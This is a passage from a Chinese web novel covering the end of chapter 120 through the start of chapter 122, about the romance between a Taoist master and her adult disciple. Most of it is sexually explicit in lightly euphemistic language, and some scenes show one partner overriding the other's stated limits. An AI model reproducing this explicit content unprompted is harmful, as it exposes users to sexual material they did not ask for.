“师尊……师尊……”她哭着叫她。 穆若水牢牢地控住她,她的手再推她也没用。 她被她吻到尖锐得融化掉,余音都绕在女人的耳边。 一声细长的过后。 穆若水松开手,短暂地让她重获自由,问:“醒了吗?” 傅清微:“呜呜呜。” 穆若水勾唇:“别光哭啊,说话。” 傅清微满脸是泪地哽咽:“醒了。” 穆若水舔了舔她鲜红唇上的水痕,说:“很乖,你要听话。流了好多啊,哭这么厉害。” 傅清微知道她在说什么。 “呜呜呜。” “你哭得好可爱。” “可是你好变态。” “变态是什么意思?” “就是我好喜欢你的意思。” 穆若水停顿了一会儿,低头说:“我帮你舔掉,好吗?” 连傅清微的泪水也没有放过,都被她吃了。 她上上下下忙里忙外,傅清微又困了,但是她不敢在没有得到允许的情况下睡觉,生怕穆若水又惩罚她。 两个人面对着面,穆若水在上方摸着她的头发,傅清微忍着打哈欠的冲动,可她的眼泪在眼尾一颗颗渗出来。 穆若水舌尖卷去,说:“甜的。” 傅清微心想怎么会是甜的,明明是…… 但是甜不甜都是对比出来的,比起来……眼泪自然是甜的。 傅清微不知道是不是自己想多了,但这种时候谁又能想少呢。 穆若水和她对视了一会儿,傅清微便只能看到她乌黑的脑袋了,过了会儿连脑袋也看不到了。 她闭着眼,感受着女人轻柔如水的啄吻。 她的手落在女人的发顶,发带被她扯得有点松了,背后的锦缎长发落下来,擦过她的肌肤,微凉。 但是女人的手掌很热,煨着她的体温,不让她感到寒冷。 “师尊。” “嗯?”穆若水停了吻耐心和她说话。 傅清微喜欢她此刻温柔沙哑的嗓音,都是因她而起的变化。 “没什么,我好喜欢你。” “说我是变态的意思?” “哈哈。”傅清微清脆地笑出了声。 “你知不知道明天我会上网查变态的意思?” 傅清微笑不出来了。 穆若水反复含吮着她的唇,舌尖朝里进了进,尝到高热继续往深处感受。 傅清微承受不住这么深的吻,喉咙里呜咽两声。 穆若水退了出来,微微喘着气说:“但今晚我可以原谅你。” “明天也不会计较。” “谢谢师尊。” “很乖。”穆若水换了手指,抚着她水润的两片,曲起指节在唇缝里轻轻磨蹭。 傅清微合了合唇瓣,不自觉地轻咬她的手指。 她的脸微微抬起来了,傅清微可以看到她,虽然只是黑暗里的轮廓。 穆若水也看着她,连影子都是温柔的。 傅清微抬手抚上女人的脸,指尖在她细腻的脸庞缓缓走着。 穆若水也牵住了她的一只手,十指相扣。 她们俩就这么隔着月光对视着,直到穆若水的唇又一次落下。 第一次她太冒进了,不明白亲她这种事,是首先要让对方舒服的,吻技不太纯熟,这一回她有时间,有傅清微的配合,有心进步。 傅清微闭上了眼睛。 穆若水微微偏了偏头,先是她的唇与自己轻贴,随后傅清微感受到了女人鼻梁的形状,轻轻地压上她的皮肤。 随着女人的吻,她的鼻尖也蹭着她,是一种很奇异又温和的感受。 穆若水耐心下来的吻很轻柔,但傅清微的反应并不比之前冷淡半分,她落在女人耳朵上打着转揉捏的手指,诉说着她的喜欢。 傅清微很好猜,舒服的时候就会亲近她,摸摸脸,摸摸耳朵。 还会按住她的后脑勺,主动勾着她,要她吻。 其他哼哼唧唧的反应自不必提。 穆若水有意延续夜晚的长度,稍微控制了自己不管不顾的血液流速,一只手捧住她,低着头慢慢地品尝她的唇,一寸一寸,并不过火。 一来二去,傅清微却被吊得不上不下,她张唇想去咬女人的舌尖,穆若水却灵活地避过,只用唇瓣亲她。 即使两人的唇瓣早就湿软得不像话。 “师尊……”她抓着她的手,身子拧动,背后都热得出了一层薄汗。 “嗯?” 穆若水总是这么回答她,但每一次声音都含混,令人听出她在忙。 傅清微激她:“我要睡觉了。” 穆若水含了一下她的唇,并不上当:“你睡你的。” 傅清微快哭了:“我真的要睡了。” 穆若水还是那句话:“睡吧。” 她撩了一下耳旁垂落的发丝,低头和她继续玩着追逐的猫鼠游戏。 舌尖点着,尔后躲开。 傅清微哪里睡得着。 几次都没能咬到她的舌尖,她干脆上手一按,穆若水整张脸都压了下来。 彼此贴得太紧,她连她五官的形状都描摹出来了。 傅清微:“……” 她惊慌地松开了手。 穆若水差点被呛到,牙齿和舌尖一起撞了上来,傅清微不知是疼还是怎样的突然出了一声。 她都如此主动了,穆若水干脆没抬头,用牙轻轻地咬着她的唇珠,煽风点火,傅清微僵得厉害。 穆若水怕弄疼她,没多久就换温柔地舔舐。 她也慢慢地抬起眼帘,虽然看不清她的表情,但是能感受到对方的反应。 傅清微的手终于又落在了她的后脑勺,不轻不重的力道按下,眼帘轻阖,纵着她与她热烈地亲吻。 “师尊……” “我在。”听见她明显想要回应的声音,穆若水便会特意停下来回答。 我真的很喜欢你。 傅清微的脑袋偏向一边,喘不过气想躲时,穆若水提前按住了她,鼻尖陷进她皮肤更深,唇舌更是狂风骤雨地扫荡。 树欲静风不止。 只能由着这阵风将她连根拔起,如同蒲公英在空中飘荡,飞啊飞,直到落地的那一刻。 重新扎下自己的根络。 风不止,它就永远无法落地。 傅清微失焦的眼珠微动,感觉已经失去自己的声音很久了,穆若水仍在不知疲倦地吻她。 用鼻梁轻蹭,用鼻尖轻顶,唇舌打转。 吻得啧啧响。 傅清微抓着她的手早就没力气了,现下是穆若水扣着她。 师尊。 她嗓子里没有发出声音。 她紧了紧自己的指节。 穆若水:“你醒了?” 傅清微:“嗯。” 她自己都不知道是什么时候睡着的,可能只睡了一会儿。 穆若水舌尖勾了勾她,说:“已经是第二天夜晚了。” 傅清微差点坐起来:“什么?” 穆若水抚着她的侧腰,笑一声:“骗你的。” 傅清微偏头往窗外瞧,还是一片月光,但穆若水的脸似乎更清晰了一些。 “师尊……”这次她喊了出来。 “怎么了?”穆若水忙里偷闲说。 傅清微的脸上还有睡前未干的泪水,更多的泪水溢了出来。 她哭着说:“你不能这么对我。” 穆若水不解何意:“为什么?你不是喜欢我亲你吗?” 傅清微:“……” 可是你也不能亲一晚上啊,天都快亮了。 她不说话,穆若水就当她口是心非,捧着她侵入舌尖,含吮咂弄,极尽缠绵地横扫。 傅清微霎时又说不出话了。 她抓着女人的手指浸出一手心的汗,后背躺着的枕衾也潮潮的,扭动挣扎,眼泪流了满脸。 最后她稳稳地落进了一个温暖的怀抱里,穆若水紧紧抱着她,蹭着她的眼泪。 “好棒,我满脸都是……” 傅清微气得去咬她的脸,张了嘴又闭上,下巴也不行,于是命令说:“耳朵。” 穆若水好脾气地把耳朵给她咬了一下。 傅清微咬完还不够,学着她舔自己一样舔她耳廓。 穆若水说:“你不想睡觉了吗?” 傅清微又羞又恼,一头把脸埋进她的怀里,恨不得把她全身咬一遍,有贼心,没贼胆。 于是无能狂怒。 穆若水看着她在自己怀里滚来滚去,说:“精力这么旺盛,还想亲?” 傅清微被她怼得一句话说不出,也一个动作做不了。 开口就是还想亲。 入目一片狼藉,汗啊水啊的,被傅清微弄得乱七八糟,谁让她是一只什么好什么多的小猫咪呢。 穆若水抱起她,说:“我给你放水洗个澡。” “你给我洗澡?” “我给你放水、你洗澡。”穆若水重点咬字。 傅清微心想第一件事你又不是没做,她两条胳膊柔若无骨地缠上女人优美的颈项。 穿这么多,衣服太碍眼。 穆若水想了想,改口:“你想要我给你洗也行。” 傅清微也想了想:“你会老老实实地给我洗吗?” 穆若水:“不会。” 傅清微:“那我自己洗。” 穆若水把她抱到了卫生间,开了热水,目送傅清微进去。 傅清微:“师尊,您能别站在这里看吗?要不你就进来帮我洗。” 穆若水转身走了。 她去外间收拾床榻,坐在床沿发了好一会儿的呆才继续整理。 房门被打开,对面和小狸花盘在一起睡觉的小三花一个爆冲过来,仰起脑袋冲着她喵喵叫,骂得很脏。 穆若水蹲下来薅了薅它的脑袋,到院子里把傅清微的鞋子拿了。 卫生间的门被敲了敲。 傅清微想不通会有第二个人,更想不通她敲什么门:“进。” 穆若水弯腰把拖鞋放在淋浴间门口。 “鞋。” 穆若水又跑了一趟,给她送睡衣。 傅清微在关着的玻璃浴室里:“嘿,Siri。” 穆若水:“我在。” 傅清微:“真的不和我一起洗吗?” 穆若水摇了摇头:“不了。” 傅清微:“为什么?” 穆若水:“太快了。” 她丢下这个回答就走了,在傅清微洗完之前没有再进来过。 傅清微出来时月亮的颜色已经很淡了,她开了窗户通风,山风吹散了房间里的靡靡气味,又是新的一天。 一个白天。 二十一岁的女大熬一个夜只是有些困,本来想中午再补觉的,穆若水叫她去睡觉,她不好违抗师命,爬上床躺到了她的身边。 沾枕头就着。 穆若水听着枕边均匀的呼吸声,手指活动着按在她颈后的昏睡穴,让她睡得更深一些。 她拿了换洗的衣物进了卫生间。 淋浴的水声随即响起。 当一个人类不仅麻烦,而且很难掩盖蛛丝马迹。 * 睡了几个小时的傅清微睁开眼,生龙活虎。 她从床的内侧坐起来,旁边直挺挺躺着一位衣冠整齐的女人。 穆若水白天睡觉一般不盖被子,所以穿戴的是她日常的衣服,和衣而眠。 傅清微:“师尊?你醒了吗?” 穆若水:“没有,我再睡会儿。” 两人丝毫不觉得对话有何奇怪,没有心跳和呼吸,傅清微只能用开口的方式问她。 傅清微:“那你休息吧,我去弄点东西吃。” 傅清微从她身上跨过去,下地穿鞋,背影轻快地出了房门。 出了房间后她靠着墙壁揉了一下自己的腰。 穆若水疲倦得阖了阖眼。 脑子亢奋了一晚上,早晨不觉得有什么,这会儿酸乏一起涌上来了。 大脑过载,爽累了。 傅清微进来看了她好几次,穆若水不得不呼吸表演人类,免得她每次都吵醒她。 “师尊,你是不是……”多观察一段时间,傅清微也猜到了原因,如今的师尊真是身娇体柔,惹人怜爱。 “不是。” “你说不是就不是。”傅清微哄道。 穆若水恼怒地瞪她。 得到的是傅清微一口亲在她嘴巴。 “你……”穆若水直起腰,直到一半便被傅清微按了回去。 “师尊既然身体欠佳,就多休息一会儿。” 穆若水哼道:“人类的身体都这么孱弱吗?” 傅清微说:“不是。” “……” “只是师尊许久不做人,不习惯人类的负重。腰要是一直保持一个姿势,是会累的。” “原来如此。” 她昨夜都没怎么躺下来过。 “下次你可以试试躺下。”傅清微意有所指。 穆若水点了点头。 心里想的却是怎么躺下用手。 穆若水:“你为什么……” 傅清微:“我年轻,恢复能力强。” 穆若水昨夜大补,按理说术法应该很快就能恢复了,但是直到现在也没有动静。大约是消耗过度,她的身体虚不受补,致使她暂时羸弱。 不知道要持续多久,穆若水躺到了晚上才将将坐起来,出来院子里吹风。 傅清微照顾了自己一天,正坐在小马扎上吃泡面。 穆若水道:“……遇到我之前你没饿死真是个奇迹。” 傅清微说:“习惯了你做的,吃不下自己煮的猪食嘛。” 穆若水挽起袖子。 傅清微婉言制止她:“我都要吃饱了,别再弄脏你的手。” 穆若水挥袖坐在了藤椅里,一天下来总算有了好脸色,说:“为师可以用出一些术法了。” 傅清微笑逐颜开:“恭喜师尊,贺喜师尊。” 穆若水懒洋洋地嗯了声。 “有你的一半功劳。” 就是身体仍有些不适,她白日仔细琢磨了一番,确定是自己的心理作用。没道理她爬山脸不红气不喘,爬个傅清微就累成这样,多半是贤者时间,她的不应期有些长。 此前没这么刺激和长久过,她不习惯,也是一个原因。 穆若水说:“今晚……” 她想说今晚先算了。 傅清微先她一步开口说:“今晚我不行。” 这穆若水就要挑眉问问:“你为什么不行?” 傅清微神色顿时微妙,别开的脸似乎有些难堪。 穆若水这才注意到她的坐姿有些奇怪,比起平时豪放了不少。 穆若水:“你怎么了?” 傅清微委婉曲折:“我也是个孱弱的人类。” 穆若水沉声:“说清楚。” 傅清微把面碗端进厨房,穆若水从背后看她的走姿更有些怪异,她回来重新到穆若水跟前,小声说:“就是你昨晚不是一直……” 穆若水凑近她一点听。 傅清微:“可能被你亲肿了,也可能是破皮了,有点疼。” 她说完就低下眼去。 早上她起来以为是正常情况,经验薄弱,谁知道一天过去了,走路都会蹭到。山上又没有药店,快递更送不上来,她只好忍着。 穆若水多云转阴。 傅清微忙道:“过两天就可以了。” 穆若水脸色阴沉得更要滴水。 “我是在生这个气吗?”真把她当禽兽了。 “我不是那个意思。”傅清微解释说,“买不到药,你现在也用不了祝由术,我就没告诉你。” 穆若水掉头就走。 “师尊!”傅清微追在她后面,跑得快了就一瘸一拐。 穆若水回头等她,说:“走慢点。” 女人的语气和动作都缓和下来:“别再伤到自己。” 傅清微走到她身边她还牵了傅清微的手,一起往屋里走。 “你应该告诉我的。” “我错了。” “下次不会了。” “这不是我的台词吗?” “我说的是我自己。”穆若水用一只手带上了房门,“昨晚我有些冲动。” 她抿了抿唇,自己回想亦觉惶恐,远远超过了疗伤和亲密的范畴。 “没关系,我也是。”傅清微说。虽然她哭着求她好多次,但能到天亮她一个纯情女大这辈子值了,甘棠拍马也赶不上,最多平手。 “不可以。”穆若水对自己说。 傅清微也应了一声。 “好。” 穆若水又把迎头赶来的小三花关在了屋外。 熟悉的剧情,傅清微怀疑是昨夜剧本重演,但她俩不是刚刚才说好吗? 穆若水扶着她过去让她坐在床沿,自上而下地看她,灯下目光温柔。 “你不是受伤了吗?让我看看?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 120-130 第121章 卧室的窗户开了一条缝。 夜里的山风吹进来, 傅清微感到一阵凉意袭来。 她两只脚掌踩在木床的边缘,强迫自己忽略女人注视的眼神,目光落在屋里装的复古木雕电灯上。 “师尊, 你能把灯关了吗?” “不能。” 虽然穆若水的眼睛在黑暗环境不影响视物, 但自然光和漆黑一片怎么会一样? “为师只是看看你的伤, 你抖什么?” “我没抖。” “是,地震了。” “……” 师尊的幽默有时候让傅清微真的很想不合时宜地笑出来。 “不紧张了?” 穆若水的手扶上傅清微的膝头, 哄道:“乖, 让我看看。” 她都没使力气,傅清微看着她温柔的眼睛, 自觉地将膝盖分开了一些。 “有点冷。”她说, 尤其是受伤的地方毫无遮挡,受了风,可怜地瑟缩着。 穆若水人不动, 挥手关了窗户。 “师尊你果然好了很多。”傅清微惊喜道。 “所以你更要让我瞧瞧伤势, 我不是忘恩负义之人。” “这个词会不会用得有点奇怪?”傅清微借着说话缓解紧张情绪,师尊的手又伸过来,握住了她的膝盖。 她指尖点了点, 并不主动,似乎在享受傅清微自己配合她的感觉。 傅清微将脚掌往后踩了踩,整个人也往床里移了些,终于暴露在她的目光之下。 穆若水盯着她的唇看。 未经采撷的两片薄唇自然闭拢, 在她的注视下微微翕动,开合极小。 她说:“流出来了。” 傅清微一慌, 唇瓣跟着收缩了两下, 微微湿润,已读乱回:“大概是我白天水喝多了。” “你白天喝了很多水吗?”穆若水一怔, 她在休息不知道。 “还不是因为你?” 傅清微醒过来嗓子渴得快冒烟,一整天都在补水。 “所以今晚真的不能再亲了。”她想了想,放宽了底线,“至少不能像昨晚一样。” 穆若水摇了摇头。 “你还伤着呢,想这些。” “是我想的吗?是……”傅清微声音先是压低,骤然湮灭在唇齿里。 她又开始抖,因为女人冰凉的手指触碰上来。 她伤在里面,仅在外表看不出来,非得揉开了才能窥见一二。 “手冰吗?”女人问她。 “有点。”傅清微看着窗户,一个猫猫头的剪影从外面映了出来。 她无端有种被窥探的感觉,唇瓣一下轻轻咬住女人浅浅的指节前端。 穆若水:“……你乖一点,别现在勾引我。” 傅清微:“我说不是故意的你信吗?” 穆若水:“你放开我就信。” 傅清微控制不了,咬得更紧了。 然后她听见穆若水叹了口气。 穆若水只好用上第二只手,解放自己的第一只手。 她整个人来到傅清微的身前,凑得更近了,说:“你自找的。” 她怕傅清微害羞,先前故意保持了一点距离,力道也很轻,现在不动真格不行了。 傅清微两只手向后撑在床榻,低头瞧着身前的女人。 她浓密的长睫毛低垂,平日深邃的眼神定定地落在一点,两只手一块拨弄她的唇瓣,傅清微无法自控地咬着她,含着她,别开了头。 “确实伤了。”穆若水柔腻修长的指节贴上去,“这样会好一点吗?” 她的手奇冷无比,客观上起到了冰镇的作用。 傅清微嗯了一声,调子有些长。 穆若水来回用弯曲的指节贴了几次,温度升高,作用就不明显了。 穆若水举起亮晶晶的手指,似乎无奈说:“你看,又弄我一手。” “……” 穆若水低下头的唇角勾了勾。 傅清微的伤势说重不重,但毕竟伤在要处,对她的日常生活有不小影响。 穆若水和傅清微迷茫混乱的目光对视了一眼,低头含了上去。 她两只手捧好她,对着翕张的唇瓣吮吻,温暖舌尖来回滑过伤口。 一阵心悸袭上心头,尖锐而汹涌,傅清微的手立刻搭在她肩膀上,惊叫:“师尊!” 她都受伤了,她怎么还?! 不要两个字还没说出来,她竟然发现在原始感觉以外,预料的痛感并未出现,仿佛被温热的泉流治愈了。 只剩下铺天盖地的舒适。 穆若水放开她湿软的唇,习惯性舔了舔,说:“我的唾液可以治伤。” 傅清微被她唬得一愣一愣。 直到女人又一次吻着她,极尽缠绵与技巧。 傅清微撑着自己身体的手都软了,才反应过来,她用了祝由术。 “师尊,你可以用祝由术了?” “不然呢?”穆若水舔着她的唇,抬头说,“我看伤就是为了白看吗?” 傅清微心想:你也没白看,这不是在向她讨要报酬吗? “师尊,我撑不住了。” “再撑一会儿,我想看着你的脸。” 傅清微本来都已经往后倒了,听她这么说换成手肘支着自己,垂眸看着热情吮吻她的女人。 开了灯两个人的感觉都不一样。 穆若水亲一会儿就要看看她,看她苍白的脸色如何一点一点敷上胭脂,连耳朵和脖颈也染上诱人的浅粉,如何闭上眼轻咬唇瓣,控制自己只泄露微弱的低吟。 她埋头亲一阵深的,傅清微的调子就会随着她的深入层层变化。 在她怀里可爱地轻颤。 唯有她可以主宰一切。 傅清微只睁了眼一会会,就受不了眼前极具冲击力的画面。 屋里电灯的光在她眼皮薄薄地晃动。 她也被亲得微微晃动,一下一下地迎合女人的唇齿。 唇舌搅动出绵密的水声。 直至傅清微情满得再也承受不住,缩着身体向后躲,穆若水一把捞过她的腰,将她拉到自己面前,强势地不容许她退避一丝一毫。 傅清微的挣扎前所未有地剧烈,连女人的长发都带下来了一根,乌黑的发丝缠绕在她指根。 穆若水的鼻尖压着她,唇舌仍在作乱。 她惊喘不定,胸腔几乎在她制造的快意里窒息,眼尾泛红的泪水流个不停。 她哽咽着哭叫说不出一个字。 电灯的光晃得更厉害了,刺入她的眼皮,她重又闭上眼。 许久。 之后的许久。 窗户外面的猫猫头从窗台跳了下去,在院子里无所事事地踱步。 屋子里穆若水咽下最后一口,瞧着她狼藉的双唇,红得不像话,也堵不住似的开合着,一塌糊涂。 在她的注视下瑟缩发抖,可怜可爱。 穆若水慢条斯理地为她善后,傅清微的手无力地落在她脑袋上。 穆若水“嗯?”了一声。 傅清微哑声:“我自己来。” 穆若水缠绵的唇齿里含混地吐字:“你可以吗?” 傅清微心里冒出四个大字:总比你好。 穆若水轻轻地亲了她一下,离开的动作似乎有些不舍,说:“好吧。” 她直起身,将躺着的傅清微也拉起来,去桌子上把湿纸巾拿过来。 傅清微没接,穿鞋进了洗手间。 穆若水坐在屋子里听了会儿里面的动静,打开窗户和房门透气。 刚好小三花在院子里调皮,穆若水便走出来看,风一吹,她的步伐便在门口一顿,整个人都僵了僵。 她刚刚都做了什么? 又上头了。 进房间的前一秒她一门心思想的还是要好好给傅清微看伤,不可妄动。 她虽然不是什么正人君子,坐怀不乱的柳下惠,也不至于刚治好伤又迫不及待…… 难道傅清微对她的判断没有错,她真是个禽兽? 穆若水回到洗手间前,隔着门问:“你的伤复发了吗?” 傅清微在里面回:“没有。” 穆若水薄唇动了动,说:“对不起。” 傅清微奇怪:“说这个干吗?以我们俩的关系……” 她说着沉默下来。 她们俩什么关系呢?能弄出这样的伤,又这样给她看伤,看着看着突然吻上来。 “师尊,你觉得我们是什么关系?”她隔着门问。 “是我有求于你的关系。” 一个新的答案,傅清微侧耳倾听。 “求我什么?” “求你。” 不求什么,只是你而已。 傅清微听到了女人匆匆离开的脚步声。 穆若水去道观外面的林子里找了棵高处的树,把自己挂了上去。 吹吹山风冷静一下。 * 傅清微扶着洗手台,腿软了很久。 身体再好的年轻女大,也禁不住折腾完一夜,第二天又这样。 穆若水问她伤复发了没有,她自己也不清楚,痛倒是不痛,但她被刺激过度,既麻木又敏感,跳动的感觉依然在。 师尊快把她玩死了。 她进步得一日千里,昨天还会满足之后让她休息再继续,现在穆若水完全不会了,她会趁着她脆弱的时候高歌猛进,越是哭她越是兴奋,短短半个小时傅清微目光涣散了好几次,一次比一次厉害。 最后又弄得她满脸都是。 傅清微本想用手机拍一下伤口,但是除了洗澡以外她从没有自己碰过,她实在下不去手。 傅清微穿戴好从卫生间出来,边走路边别扭地感受着。 穆若水不在,她松了口气。 傅清微:【我要死了,当初在一起的时候没想到她是这样的人!】 甘棠:【[耳朵.jpg]】 傅清微:【人不能,至少不应该,在二十一岁的年纪x尽人亡】 [傅清微撤回了一条消息] 甘棠:【[投去羡慕的眼神.jpg]】 甘棠:【采访一下,感觉怎么样?】 傅清微:【就是爽,非常爽,这辈子没这么爽过,她好会,我好爱!但是几次三番也确实受不了,我有点虚,走路都腿软,我还要练功呢】 甘棠:【你就惦记你那练功[指指点点]】 甘棠:【你和她说说呗】 傅清微:【可是我又觉得她这样好迷人,显得我对她很有吸引力,我不想拒绝】甚至想再来几次。 甘棠:【那你就x尽人亡好惹】 傅清微:【哈哈谢谢你的祝福,我待会找个菜谱发她,让她给我补补身子】 甘棠:【炫耀女朋友是叭?】 傅清微:【还不是女朋友呢[害羞]】 甘棠:【你俩玩得真花啊,姿势疯狂解锁,进度条一动不动是吧?说!到底!什么时候在一起!】 傅清微:【我也想知道,你等一下哦,给你看看猫】 两人的话题无缝衔接到猫片,傅清微去院子里拍了几个小视频,甘棠云吸猫吸了个痛快。 傅清微点开穆若水的聊天窗口:【师尊?】 挂在树上的穆若水:【晚点回去】 傅清微:【你在哪儿?】 穆若水:【你不用知道】 傅清微闲着也是闲着,干脆出来找她,沿着去温泉的路慢慢找过去,穆若水在树顶上看着她从自己身下走过去。 咻—— 一根小树枝掉在傅清微的脚边。 傅清微捡起树枝,左右环顾:“师尊,是你吗?” “是我。” 傅清微抬起头:“你在上面做什么?” 穆若水跳下来,勾过她的腰带着她一起上树,双脚踩在粗壮的树干上,不仅能看到林子在月色下的全貌,还能瞧见山下遥远的村寨,灯光点点,错落有致,宛如人间银河。 这些风景穆若水一个人的时候已经看腻了,傅清微站在她旁边,没见过世面地“哇”了一声。 穆若水忽然觉出从未有过的乐趣,轻轻笑了起来。 她敛了敛绽放的唇角,问:“喜欢吗?” 傅清微的目光望着远方亮灯的村寨,双眸熠熠发亮:“喜欢。” “你喜欢的话我们可以天天看。” “好啊。” 看星星,看月亮,看人间,朝夕相伴,形影不离。 夜里同床共枕,享有世上最亲密的距离。 我们这样是什么关系? 穆若水扪心叩问自己,又故意将那个正确答案排除在外。 维持原样最好。 她想当一只鸵鸟,不愿意去想以后。 傅清微才是她们之间更勇敢的那一个。 山里的夏天走得比人间早一些,担心傅清微吹久了冷风着凉,穆若水把自己的外袍脱下来披在她身上,绕到前面系紧。 傅清微拢着衣服,诧异地望了她一眼。 师尊会关心她受寒,但绝对不是会脱衣服给她穿的那种,她会直接带她下树。 她现在好像自发地担起了恋爱的角色,虽然她嘴上不肯承认。 傅清微:“师尊,你身体好全了吗?” 穿着单衣的穆若水:“差不多吧,我不会生病。” 傅清微伸手过去,把她像冰块一样的手捂在掌心,说:“我们回去吧。” 穆若水说好。 下一刻她们飞身落在了道观的院子中间。 傅清微暗暗羡慕。 飞来飞去的是比走路方便多了,就算腿软也不怕。 师尊天生有躺的资质。 傅清微跃跃欲试:“你昨晚不是说让我摸你的腰吗?” 穆若水:“已经不是白天了。” 傅清微上去就是一顿撒娇,穆若水被她哄得眉开眼笑,但是拒绝得很干脆。 “不行。” “……” 傅清微当着她的面设了个白天的闹铃。 穆若水:“……” 看来腰的清白也保不住了。 傅清微前一秒气鼓鼓,设好闹铃的下一秒就把这事儿抛到脑后了,她没有那么想当1,一阵一阵的突发奇想,她还怕自己不会呢。 理论一箩筐,实践两眼一抹黑。 躺着最好了,会叫就行,穆若水最喜欢听她叫。 哭着的,放浪的,扭动的,主动送到她嘴边的,最后尖锐的那一声,弦崩到极致的断裂。 穆若水如痴如醉,说:“我想录下来。” 傅清微差点坐起来:“你不要什么都录啊。” 穆若水鼻尖顶了顶她的唇珠:“可以吗?” 傅清微脸烧得厉害,捂眼道:“你喜欢的话就录吧。” 穆若水打开了录音,放到她枕边。 “只准这一次。”傅清微说。 “好。” 穆若水录着录着,把手机又拿到了下边,录两张唇深入纠缠,啧啧接吻的水声。 “师尊。” “嗯?” “我发现我以前对你的了解有偏差。”傅清微的修长二指盖在自己的眼帘。 “现在呢?” “了解得多一些了。” “因为我也在了解我自己。” 不知道为什么,她面对傅清微的失控感越来越强烈,先是欲念,后是她已经不会跳动的心。 她的整个世界都在向她偏移,仿佛地心引力,她快要绕着她旋转,无法自拔。 穆若水游上来重新吻她的唇,将自己的舌头探入她的唇齿。 傅清微:“唔。”她尝到不属于面前女人的味道,扭头,“不要。” 穆若水这次捏住了她的下巴,强迫她和她接吻:“你要。” 两人的味道在纠缠中不分你我地融入了彼此。 傅清微在她怀里轻轻地啜泣。 穆若水拍着她的背安抚:“乖,乖。” 傅清微很享受她此刻的温存,哭泣也只是情趣的一种。 她止了眼泪,问:“你还记得今晚吃饭的时候你说什么吗?” 穆若水:“记得,我说今晚……后来被你打断了。” 傅清微:“……” 穆若水:“你说你不行,现在你又行了,不是吗?” 傅清微搬起石头砸自己的脚,尔后听见女人在她耳边轻轻地笑了一声,听得人耳根一软,酥痒难耐。 穆若水正色道:“是我的错,我没控制住,我反省。” “我没让你控制。”傅清微窝在她怀中小小声仰头道。 “要控制的,我不想每次都弄伤你。”穆若水轻言细语。 “师尊,你今天对我说话好温柔,我不太习惯。” “明天就不会了。” “……好的。” 穆若水又笑了声。 “睡吧,晚安。” “晚安。” 傅清微枕着女人的臂弯沉沉地睡了过去。 穆若水听着她越来越深的呼吸声,确定她完全入睡,起身给她清理,再回来抱着她睡觉。 三次不至于让傅清微长久以来的生物钟紊乱,因为适当运动睡得香而精神饱满,比平时看起来气色都红润一些。 她洗漱的时候对着镜子照了好一会儿,春风满面,眼带桃花,眉目间被滋润的感觉有点太明显了。 傅清微跑进厨房找穆若水,差点创飞了路过的两只猫猫,一把抱住了师尊的细腰。 穆若水的木勺险些滚落在地,说:“你想被我丢下山还是丢出院门?” 傅清微:“丢出院门。” 穆若水拎着她的后衣领,连人带剑扔出道观,冷道:“滚去练功。” 今天没有得到师尊好脸色的傅清微眉开眼笑,说:“那我去练功啦,待会回来吃饭。师尊早安!” “早安。” 穆若水目送她的背影离开,越来越维持不住自己的冷脸,待走入院子里已是满眼的笑意。 穆若水的身体恢复速度快得惊人,红线让她虚弱,红线的主人日日以自身精气滋养她,二人心灵相通,它大约感应得到,早已不知退去了哪里。 吃着早饭,傅清微收到了一条银行卡进账短信。 叮—— 傅清微把手机递给穆若水看,饶是穆若水这样视金钱如数字的人,托在腮边的手也放了下来。 数了数六个零。 钱是岁已寒打的,走的私账,她个人名义。 傅清微用穆若水的手机确认她没有转错,穆若水坦然地收下了这笔巨款。 “突然觉得岁主任不是不可原谅。”傅清微说,“我这样会不会显得见钱眼开啊?” 穆若水回:“人之常情。” 她点开微信,主动给钱袋子发了个表情包。 “连为师也避免不了。” 两人相视一笑。 平安和在一起最重要,其他的计较也无用。 傅清微说:“我还是有点担心占科。” 穆若水想了想,说:“那我帮你算算吧。” 傅清微瞪大眼:“你还会算?我怎么不知道?” “你没问过我。”穆若水理所当然,从袖子里的百宝袋里掏出几枚铜钱,道,“为师占卜一道学艺不精,算个吉凶勉强还成。” 说着她腾了一半的桌面,开始用铜钱卜算。 她看向傅清微:“想一想你要问的事,然后把铜钱扔到桌面。” 傅清微将信将疑地掷下铜钱,三枚通宝朝上,两枚字朝下,穆若水探头瞧了瞧铜钱排布,双手揣进袖子里,说:“中吉,你要求的事多半有好的结果。” 傅清微一愣一愣:“真的假的?” “信则有不信则无咯。” 穆若水慢条斯理收起桌面的铜钱,装回百宝袋里。 傅清微仍在狐疑。 不是她不肯相信师尊,而是现在的穆若水已经变了,她会一本正经地逗她玩!乐此不疲! 师尊一肚子坏水! 然而下午傅清微便收到消息:占英醒了。 岁已寒通知了一遍,龙璇玑又通知了一遍。 傅清微从道观外面跑进来,举着手机惊喜地说:“占英醒了!” 穆若水正躺在藤椅里看《神雕侠侣》的书,闻言极快地垂了一下眼帘,掩饰惊讶。 竟然真的醒了。 她胡诌的。 傅清微的崇敬之情溢于言表,眼睛里都是小星星:“师尊,你的卦好灵啊。” 穆若水受用极了,伸手揉了揉她的脑袋。 “为师不过略懂一二。” “一二也很厉害了,我也想学。” 穆若水笑容一顿。 傅清微摇头:“算了先不学了,我先把其他的学好。” 穆若水欣慰:“徒儿不好高骛远,甚好。” 傅清微看了一眼她书的封皮,计划正在稳步推进中,她放下手机,爬上藤椅躺进穆若水的怀里,道:“师尊,你有没有想过一个问题。” “什么问题?” “你对我好像没有正式的昵称。”只有上床才会叫她的名字,要不就是生气的时候直呼大名。 “清儿?” “不要,你刚收徒的时候叫得我都PTSD了。” “清清?” “太肉麻了,不符合你的师道尊严。” “那你说叫什么?”穆若水不想把“清微”这两个字放到日常来,她说不上为什么,大约在她心里是很珍贵的东西,不能轻易说出来。 傅清微清了清嗓子,还没开口自己的脸先红了。 她在穆若水的怀里动了动,小声扭捏道: “凡间有个称呼叫作宝贝……” 第122章 “凡间有个称呼叫作宝贝……” 傅清微图穷匕见, 欲盖弥彰地说出了自己的心思。 她说完仰头看了看藤椅上方的女人。 穆若水全程木着一张脸,瞧不出她的内心活动。 “那……宝宝?”傅清微悄声提了个更大胆的,脸也红透了。 “你几岁了?” 傅清微把通红的脸埋进她的胸口, 说:“你不叫就算了嘛, 当我没说。” 穆观主受到不小的冲击, 没想到这两个词竟然有朝一日可以拿来称呼傅清微。 宝贝她可以理解,有爱子视如掌上明珠者, 莫说宝贝, 心肝也叫得。 穆若水突然:“心肝儿。” 傅清微蓦地抬头:“什么?” 